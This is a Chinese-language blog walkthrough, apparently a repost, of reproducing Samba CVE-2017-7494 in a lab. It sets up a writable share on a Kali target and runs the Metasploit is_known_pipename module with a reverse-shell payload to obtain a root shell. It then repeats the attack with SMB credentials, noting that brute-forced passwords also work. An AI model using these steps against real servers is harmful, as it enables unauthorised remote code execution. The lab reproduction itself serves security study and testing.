Samba CVE-2017-7494 reproduce

震惊!SMB惊现远程代码执行漏洞,有账号认证的也能被攻击!(CVE-2017-7494)附复现过程

2017-05-25 guanguan,Aries RCDbg

https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA

 

网络上流传的EXP的利用方法未指出如何攻击有帐号密码认证的SAMBA,但其实……

如果通过爆破得到了密码,依然能够成功攻击。

 

0x01 概述

 

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,Samba服务允许恶意的用户上传类库到可读可写的共享目录进而导致服务器远程代码执行。 

 

漏洞编号:CVE-2017-7494 

漏洞等级:严重 

影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14

 

漏洞利用条件

  1. 服务端共享目录的访问权限

  2. 服务器端共享目录的写入权限

  3. 服务端共享目录的绝对路径已知或者可被暴力猜解

 

0x02 漏洞复现

 

1. 靶机环境搭建

 

靶机环境系统使用 Kali 2.0:

 

 

Samba版本:4.1.17

 

 

配置samba的共享目录:

 

#创建一个共享目录

root@kaili:~# mkdir /home/share

#设置权限

root@kali:~# chmod 777 /home/share

 

修改samba配置文件:

 

#编辑配置文件

root@kali:~# gedit /etc/samba/smb.conf

 

在配置文件末尾添加一个新的配置:

 

[myshare]

comment=test

browseable=yes #可读

writeable=yes #可写

path=/home/share  #设置目录(上一步创建的共享目录)

guest ok=yes #允许匿名访问

 

启动服务:

 

root@kali:~# service smbd start

 

2. Metasploit 利用

 

a. 更新msf利用模块:

 

该漏洞的利用poc已经在metasploit的github上更新。

下载地址:

https://github.com/hdm/metasploit-framework/blob/module/CVE-2017-7494/modules/exploits/linux/samba/is_known_pipename.rb

 

将模块更新到kali下metasploit的目录中:

 

/usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb

 

b. 设置模块:

 

msf > use exploit/linux/samba/is_known_pipename

msf exploit(is_known_pipename) > show options

 

此处需要设置的参数有:

#设置目标IP地址 

msf exploit(is_known_pipename) > set rhost 192.168.10.62 

rhost => 192.168.10.62  

 

#设置smb目录,这里靶机是/home/share

msf exploit(is_known_pipename) > set smb_share_base /home/share 

smb_share_base => /home/share

 

#设置系统版本

msf exploit(is_known_pipename) > set target 0

target => 0

 

#设置payload

msf exploit(is_known_pipename) > set payload generic/shell_reverse_tcp

payload => generic/shell_reverse_tcp

 

 

c. 执行:

 

msf exploit(is_known_pipename) > exploit

 

 

至此攻击就可以完成了,我们直接拿到了root权限的shell,但是通常管理员为了安全会对smb服务设置账号密码,如果在有账号密码的环境下怎么办呢?

 

3. 需要Samba认证的攻击

 

a. 重新修改靶机配置如下:

 

root@kali:~# gedit /etc/samba/smb.conf

 

设置共享目录不允许guest访问:

 

[myshare]

comment=test

browseable=yes

writeable=yes

path=/home/share

guest ok=yes

#删除guest ok=yes 不允许guest用户访问

 

在 [global] 设置选项中添加配置:

 

security = user

 

设置smb用户:

 

#添加用户

root@yunxu:/# useradd smbuser

#设置密码

root@yunxu:/# smbpasswd -a smbuser

New SMB password: 

Retype new SMB password:

 

#重启服务

root@yunxu:/# service smbd restart

 

 

b. 在msf中设置Samba服务认证:

 

msf exploit(is_known_pipename) > set SMBUSER smbuser 

SMBUser => smbuser 

msf exploit(is_known_pipename) > set SMBPASS 123123 

SMBPass => 123123

 

 

c. 执行:

 

msf exploit(is_known_pipename) > exploit

 

 

 

0x03 漏洞相关链接:

https://www.samba.org/samba/security/CVE-2017-7494.html

http://www.freebuf.com/vuls/135624.html